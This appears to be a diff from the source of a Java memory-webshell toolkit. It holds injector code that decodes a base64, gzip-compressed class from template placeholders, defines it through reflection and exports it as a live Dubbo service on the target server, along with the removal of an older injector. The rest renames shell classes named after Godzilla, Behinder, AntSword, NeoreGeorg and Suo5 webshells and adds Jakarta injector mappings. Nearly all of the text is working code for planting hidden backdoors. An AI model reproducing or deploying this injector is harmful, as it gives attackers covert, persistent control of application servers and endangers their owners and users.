private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
try {
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
Class<?> classPathClass = Class.forName("javassist.ClassPath");
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
} catch (Throwable ignored) {
}
}
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
}
}
public static byte[] decodeBase64(String str) throws Exception {
return Base64.getDecoder().decode(str);
}
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
byte[] bArr2 = new byte[4096];
int i;
while ((i = gZIPInputStream.read(bArr2)) > 0) {
byteArrayOutputStream.write(bArr2, 0, i);
}
return byteArrayOutputStream.toByteArray();
}
}
public String registerService() throws Exception {
String strNormalizePath = normalizePath(getUrlPattern());
if (strNormalizePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
Class<?> shell = loadClass(getHelperBase64String());
Class<?> shell2 = loadClass(getBase64String());
validateServiceTypes(shell, shell2);
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
return resolveServiceAddresses(strNormalizePath);
}
try {
serviceConfigCreateServiceConfig.export();
return resolveServiceAddresses(strNormalizePath);
} catch (RuntimeException e) {
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
throw e;
}
}
return resolveServiceAddresses(strNormalizePath);
}
private boolean isPathRegisteredInFramework(String str) {
try {
for (Object obj : getRegisteredServices()) {
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
}
private Collection<?> getRegisteredServices() {
try {
Object configManager = resolveConfigManager();
return toList(invokeNoArgs(configManager, "getServices"));
} catch (Exception e) {
try {
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
return toList(invokeNoArgs(objInvoke3, "getServices"));
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String normalizePath(String str) {
if (str == null) {
return "";
}
String strTrim = str.trim();
while (true) {
String str2 = strTrim;
if (!str2.startsWith("/")) {
return str2;
}
strTrim = str2.substring(1);
}
}
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
if (!cls.isInterface()) {
throw new IllegalArgumentException("not an interface: " + cls.getName());
}
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
}
if (!cls.isAssignableFrom(cls2)) {
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
}
}
private Object instantiate(Class<?> cls) {
try {
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
return declaredConstructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
Object configManager = resolveConfigManager();
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
serviceConfig.setInterface(cls);
serviceConfig.setRef(obj);
serviceConfig.setPath(str);
serviceConfig.setProxy("jdk");
if (providerConfigSanitizeProviderConfig != null) {
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
}
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
if (strResolveConfiguredVersion != null) {
serviceConfig.setVersion(strResolveConfiguredVersion);
}
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
return serviceConfig;
}
private ProviderConfig resolveDefaultProvider(Object obj) {
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
if (providerConfigCastProviderConfig != null) {
return providerConfigCastProviderConfig;
}
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
if (objInvokeNoArgs == null) {
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
}
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
}
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
if (providerConfig == null) {
return null;
}
List registries = providerConfig.getRegistries();
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
return providerConfig;
}
return null;
}
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
if (collection == null) {
return new ArrayList<>();
}
return collection.stream()
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
.collect(Collectors.toList());
}
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
if (!listFilterValidRegistries.isEmpty()) {
return listFilterValidRegistries;
}
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
}
private String resolveConfiguredVersion(Object obj) {
return stringValue(invokeNoArgs(obj, "getVersion"), null);
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
}
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
List<ProtocolConfig> arrayList = new ArrayList<>();
if (collection != null) {
try {
for (Object service : collection) {
try {
arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
} catch (Exception e) {
}
}
} catch (Exception e2) {
}
}
try {
for (Object exportedProvider : getExportedProviders()) {
try {
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
if (objInvokeNoArgs != null) {
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
}
} catch (Exception e3) {
}
}
} catch (Exception e4) {
}
return arrayList;
}
private Collection<?> getExportedProviders() {
try {
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
} catch (Exception e) {
try {
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String resolveServiceAddresses(String str) {
String strNormalizePath = normalizePath(str);
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
if (objFindRegisteredService == null) {
objFindRegisteredService = findRegisteredService(strNormalizePath);
}
if (objFindRegisteredService == null) {
return strNormalizePath;
}
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
if (!listExtractExportedUrls.isEmpty()) {
return formatUrls(listExtractExportedUrls);
}
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
if (listResolveProtocols.isEmpty()) {
return strNormalizePath;
}
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
}
private Object findRegisteredService(String str) {
for (Object obj : getRegisteredServices()) {
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
return obj;
}
}
return null;
}
private List<?> extractExportedUrls(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
if (!list.isEmpty()) {
return list;
}
List<?> list2 = toList(getFieldValue(obj, "exporters"));
if (list2.isEmpty()) {
return new ArrayList<>();
}
List<Object> arrayList = new ArrayList<>();
for (Object exporter : list2) {
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
if (objInvokeNoArgs != null) {
arrayList.add(objInvokeNoArgs);
}
}
return arrayList;
}
private List<?> resolveProtocols(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
}
private Object invokeNoArgs(Object obj, String str) {
if (obj == null) {
return null;
}
try {
return obj.getClass().getMethod(str).invoke(obj);
} catch (Exception e) {
return null;
}
}
private Object invokeStaticNoArgs(Class<?> cls, String str) {
try {
return cls.getMethod(str).invoke(null);
} catch (Exception e) {
return null;
}
}
private Object getFieldValue(Object obj, String str) {
if (obj == null) {
return null;
}
Class<?> superclass = obj.getClass();
while (true) {
Class<?> cls = superclass;
if (cls == null) {
return null;
}
try {
Field declaredField = cls.getDeclaredField(str);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
superclass = cls.getSuperclass();
}
}
}
private List<?> toList(Object obj) {
Object value = extractOptionalValue(obj);
if (value instanceof Collection) {
return new ArrayList<>((Collection<?>) value);
}
if (value instanceof Map) {
return new ArrayList<>(((Map<?, ?>) value).values());
}
return new ArrayList<>();
}
private Object extractOptionalValue(Object obj) {
if (obj instanceof Optional) {
return ((Optional<?>) obj).orElse(null);
}
return obj;
}
private Object firstElement(List<?> list) {
if (list.isEmpty()) {
return null;
}
return list.get(0);
}
private ProviderConfig castProviderConfig(Object obj) {
if (obj instanceof ProviderConfig) {
return (ProviderConfig) obj;
}
return null;
}
private ApplicationConfig castApplicationConfig(Object obj) {
if (obj instanceof ApplicationConfig) {
return (ApplicationConfig) obj;
}
return null;
}
private List<RegistryConfig> castRegistries(List<?> list) {
return list.stream()
.filter(RegistryConfig.class::isInstance)
.map(RegistryConfig.class::cast)
.collect(Collectors.toList());
}
private Object resolveConfigManager() {
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
if (objInvokeStaticNoArgs != null) {
return objInvokeStaticNoArgs;
}
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
}
private String formatUrls(List<?> list) {
return list.stream()
.map(this::formatUrl)
.collect(Collectors.joining(", "));
}
private String formatProtocolAddresses(List<?> list, String str) {
return list.stream()
.map(obj -> formatProtocolAddress(obj, str))
.collect(Collectors.joining(", "));
}
private String formatUrl(Object obj) {
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
}
private String formatProtocolAddress(Object obj, String str) {
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
}
private String stringValue(Object obj, String str) {
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
}
private Integer integerValue(Object obj) {
if (obj instanceof Number) {
return Integer.valueOf(((Number) obj).intValue());
}
return null;
}
private List<ProtocolConfig> castProtocols(List<?> list) {
return list.stream()
.filter(ProtocolConfig.class::isInstance)
.map(ProtocolConfig.class::cast)
.collect(Collectors.toList());
}
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
addProtocols(linkedHashMap, collection);
addProtocols(linkedHashMap, collection2);
return new ArrayList<>(linkedHashMap.values());
}
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
if (collection == null) {
return;
}
for (ProtocolConfig protocolConfig : collection) {
if (protocolConfig != null) {
map.put(protocolKey(protocolConfig), protocolConfig);
}
}
}
private String protocolKey(ProtocolConfig protocolConfig) {
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
}
private String getErrorMessage(Throwable th) {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
th.printStackTrace(printStream);
return byteArrayOutputStream.toString();
} catch (IOException e) {
return String.valueOf(th);
}
}
}
@@ -1,283 +0,0 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import org.apache.dubbo.common.bytecode.ClassGenerator;
import org.apache.dubbo.common.utils.ClassUtils;
import org.apache.dubbo.common.utils.NetUtils;
import org.apache.dubbo.config.ProtocolConfig;
import org.apache.dubbo.config.RegistryConfig;
import org.apache.dubbo.config.ServiceConfig;
import org.apache.dubbo.config.context.ConfigManager;
import org.apache.dubbo.rpc.model.ApplicationModel;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
import java.util.zip.GZIPInputStream;
public class DubboServiceInjector {
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public DubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + getErrorMessage(e);
}
ok = true;
System.out.println(msg);
}
private Class<?> getShell(String base64String) throws Exception {
ClassLoader classLoader = ClassUtils.getClassLoader(ClassGenerator.class);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(base64String));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
String.class, byte[].class, int.class, int.class, java.security.ProtectionDomain.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, null, clazzByte, 0, clazzByte.length,
ClassGenerator.class.getProtectionDomain());
registerInJavassistClassPool(classLoader, clazzByte);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz;
}
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
try {
Object pool = ClassGenerator.getClassPool(classLoader);
pool.getClass().getMethod("makeClass", java.io.InputStream.class)
.invoke(pool, new ByteArrayInputStream(classBytes));
} catch (Throwable ignored) {
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
public String registerService() throws Throwable {
String normalizedPath = normalizePath(getUrlPattern());
if (normalizedPath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (dynamicServices.containsKey(normalizedPath)) {
return resolveServiceAddresses(normalizedPath);
}
if (isPathRegisteredInFramework(normalizedPath)) {
return resolveServiceAddresses(normalizedPath);
}
Class<?> interfaceClass = getShell(getHelperBase64String());
Class<?> implementationClass = getShell(getBase64String());
validateServiceTypes(interfaceClass, implementationClass);
Object serviceInstance = instantiate(implementationClass);
ServiceConfig<Object> serviceConfig = createServiceConfig(normalizedPath, interfaceClass, serviceInstance);
ServiceConfig<?> previous = dynamicServices.putIfAbsent(normalizedPath, serviceConfig);
if (previous != null) {
return resolveServiceAddresses(normalizedPath);
}
try {
serviceConfig.export();
return resolveServiceAddresses(normalizedPath);
} catch (RuntimeException e) {
dynamicServices.remove(normalizedPath, serviceConfig);
throw e;
}
}
@SuppressWarnings("all")
private boolean isPathRegisteredInFramework(String path) {
try {
for (Object service : getRegisteredServices()) {
try {
Method getPath = service.getClass().getMethod("getPath");
if (path.equals(getPath.invoke(service))) {
return true;
}
} catch (Exception ignored) {
}
}
} catch (Exception ignored) {
}
return false;
}
@SuppressWarnings("all")
private Collection<?> getRegisteredServices() {
try {
ConfigManager configManager = ApplicationModel.getConfigManager();
Method getServices = configManager.getClass().getMethod("getServices");
return (Collection<?>) getServices.invoke(configManager);
} catch (Exception e) {
try {
Method defaultModel = ApplicationModel.class.getMethod("defaultModel");
Object model = defaultModel.invoke(null);
Method getDefaultModule = model.getClass().getMethod("getDefaultModule");
Object moduleModel = getDefaultModule.invoke(model);
Method getConfigManager = moduleModel.getClass().getMethod("getConfigManager");
Object moduleConfigManager = getConfigManager.invoke(moduleModel);
Method getServices = moduleConfigManager.getClass().getMethod("getServices");
return (Collection<?>) getServices.invoke(moduleConfigManager);
} catch (Exception ex) {
return new ArrayList<>();
}
}
}
private String normalizePath(String path) {
if (path == null) {
return "";
}
String normalized = path.trim();
while (normalized.startsWith("/")) {
normalized = normalized.substring(1);
}
return normalized;
}
private void validateServiceTypes(Class<?> interfaceClass, Class<?> implementationClass) {
if (!interfaceClass.isInterface()) {
throw new IllegalArgumentException("not an interface: " + interfaceClass.getName());
}
if (implementationClass.isInterface() || Modifier.isAbstract(implementationClass.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + implementationClass.getName());
}
if (!interfaceClass.isAssignableFrom(implementationClass)) {
throw new IllegalArgumentException(implementationClass.getName()
+ " does not implement " + interfaceClass.getName());
}
}
private Object instantiate(Class<?> implementationClass) {
try {
Constructor<?> constructor = implementationClass.getDeclaredConstructor();
constructor.setAccessible(true);
return constructor.newInstance();
} catch (ReflectiveOperationException e) {
throw new IllegalArgumentException("failed to instantiate " + implementationClass.getName(), e);
}
}
@SuppressWarnings({"rawtypes", "unchecked"})
private ServiceConfig<Object> createServiceConfig(String path, Class<?> interfaceClass, Object serviceInstance) {
ConfigManager configManager = ApplicationModel.getConfigManager();
ServiceConfig serviceConfig = new ServiceConfig();
serviceConfig.setInterface(interfaceClass);
serviceConfig.setRef(serviceInstance);
serviceConfig.setPath(path);
serviceConfig.setVersion("1.0.0");
serviceConfig.setProxy("jdk");
serviceConfig.setApplication(configManager.getApplication().orElse(null));
List<ProtocolConfig> protocols = new ArrayList<>(configManager.getDefaultProtocols());
if (protocols.isEmpty()) {
protocols = new ArrayList<>(configManager.getProtocols());
}
serviceConfig.setProtocols(protocols);
List<RegistryConfig> registries = new ArrayList<>(configManager.getDefaultRegistries());
if (registries.isEmpty()) {
registries = new ArrayList<>(configManager.getRegistries());
}
serviceConfig.setRegistries(registries);
return serviceConfig;
}
private String resolveServiceAddresses(String path) {
ConfigManager configManager = ApplicationModel.getConfigManager();
List<ProtocolConfig> protocols = configManager.getDefaultProtocols();
if (protocols.isEmpty()) {
protocols = new ArrayList<>(configManager.getProtocols());
}
if (protocols.isEmpty()) {
return path;
}
String localHost = NetUtils.getLocalHost();
return protocols.stream()
.map(pc -> String.format("%s://%s:%d/%s", pc.getName(), localHost, pc.getPort(), path))
.collect(Collectors.joining(", "));
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.injector.struct2; package com.reajason.javaweb.memshell.injector.struts2;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
@@ -15,7 +15,7 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
* @since 2025/12/8 * @since 2025/12/8
*/ */
public class Struct2ActionInjector { public class Struts2ActionInjector {
private static String msg = ""; private static String msg = "";
private static boolean ok = false; private static boolean ok = false;
@@ -32,7 +32,7 @@ public class Struct2ActionInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public Struct2ActionInjector() { public Struts2ActionInjector() {
if (ok) { if (ok) {
return; return;
} }
@@ -19,8 +19,11 @@ public class Bes extends AbstractServer {
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, BesListenerInjector.class) .addInjector(LISTENER, BesListenerInjector.class)
.addInjector(JAKARTA_LISTENER, BesListenerInjector.class)
.addInjector(FILTER, BesFilterInjector.class) .addInjector(FILTER, BesFilterInjector.class)
.addInjector(JAKARTA_FILTER, BesFilterInjector.class)
.addInjector(VALVE, BesValveInjector.class) .addInjector(VALVE, BesValveInjector.class)
.addInjector(JAKARTA_VALVE, BesValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
.build(); .build();
@@ -1,13 +1,15 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.injector.dubbo.DubboServiceInjector; import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
public class Dubbo extends AbstractServer { public class Dubbo extends AbstractServer {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(ShellType.DUBBO_SERVICE, DubboServiceInjector.class) .addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
.addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
.build(); .build();
} }
} }
@@ -1,18 +1,18 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector; import com.reajason.javaweb.memshell.injector.struts2.Struts2ActionInjector;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/12/8 * @since 2025/12/8
*/ */
public class Struct2 extends AbstractServer { public class Struts2 extends AbstractServer {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(ShellType.ACTION, Struct2ActionInjector.class) .addInjector(ShellType.ACTION, Struts2ActionInjector.class)
.build(); .build();
} }
} }
@@ -10,7 +10,7 @@ import java.net.URLClassLoader;
* @author ReaJason * @author ReaJason
* @since 2025/02/18 * @since 2025/02/18
*/ */
public class AntSwordStruct2Action { public class AntSwordStruts2Action {
public static String pass; public static String pass;
public static String headerName; public static String headerName;
@@ -15,7 +15,7 @@ import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class BehinderStruct2Action { public class BehinderStruts2Action {
public static String pass; public static String pass;
public static String headerName; public static String headerName;
public static String headerValue; public static String headerValue;
@@ -10,7 +10,7 @@ import java.util.Scanner;
* @author ReaJason * @author ReaJason
* @since 2025/12/8 * @since 2025/12/8
*/ */
public class CommandStruct2Action { public class CommandStruts2Action {
private static String paramName; private static String paramName;
public String execute() throws Exception { public String execute() throws Exception {
@@ -15,7 +15,7 @@ import java.net.URLClassLoader;
* @author ReaJason * @author ReaJason
* @since 2024/12/15 * @since 2024/12/15
*/ */
public class GodzillaStruct2Action { public class GodzillaStruts2Action {
private static String key; private static String key;
private static String pass; private static String pass;
private static String md5; private static String md5;
@@ -18,7 +18,7 @@ import java.util.zip.GZIPInputStream;
* <p> * <p>
* key: key * key: key
*/ */
public class NeoreGeorgStruct2Action { public class NeoreGeorgStruts2Action {
public static String headerName; public static String headerName;
public static String headerValue; public static String headerValue;
@@ -16,7 +16,7 @@ import java.util.HashMap;
* @author ReaJason * @author ReaJason
* @since 2024/12/15 * @since 2024/12/15
*/ */
public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustManager { public class Suo5Struts2Action implements Runnable, HostnameVerifier, X509TrustManager {
public static String headerName; public static String headerName;
public static String headerValue; public static String headerValue;
public static HashMap addrs = collectAddr(); public static HashMap addrs = collectAddr();
@@ -25,10 +25,10 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
InputStream gInStream; InputStream gInStream;
OutputStream gOutStream; OutputStream gOutStream;
public Suo5Struct2Action() { public Suo5Struts2Action() {
} }
public Suo5Struct2Action(InputStream in, OutputStream out) { public Suo5Struts2Action(InputStream in, OutputStream out) {
this.gInStream = in; this.gInStream = in;
this.gOutStream = out; this.gOutStream = out;
} }
@@ -268,7 +268,7 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM
Thread t = null; Thread t = null;
try { try {
Suo5Struct2Action p = new Suo5Struct2Action(scInStream, respOutStream); Suo5Struts2Action p = new Suo5Struts2Action(scInStream, respOutStream);
t = new Thread(p); t = new Thread(p);
t.start(); t.start();
readReq(reqInputStream, scOutStream); readReq(reqInputStream, scOutStream);
@@ -14,11 +14,11 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
* @since 2025/12/9 * @since 2025/12/9
*/ */
public class Suo5v2Struct2Action { public class Suo5v2Struts2Action {
private static Class<?> suo5V2Class; private static Class<?> suo5V2Class;
private static String suo5V2GZipBase64; private static String suo5V2GZipBase64;
public Suo5v2Struct2Action() { public Suo5v2Struts2Action() {
} }
public void execute() throws Exception { public void execute() throws Exception {
@@ -106,8 +106,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
return WebLogicWriter.class; return WebLogicWriter.class;
case Server.Apusic: case Server.Apusic:
return ApusicWriter.class; return ApusicWriter.class;
case Server.Struct2: case Server.Struts2:
return Struct2Writer.class; return Struts2Writer.class;
default: default:
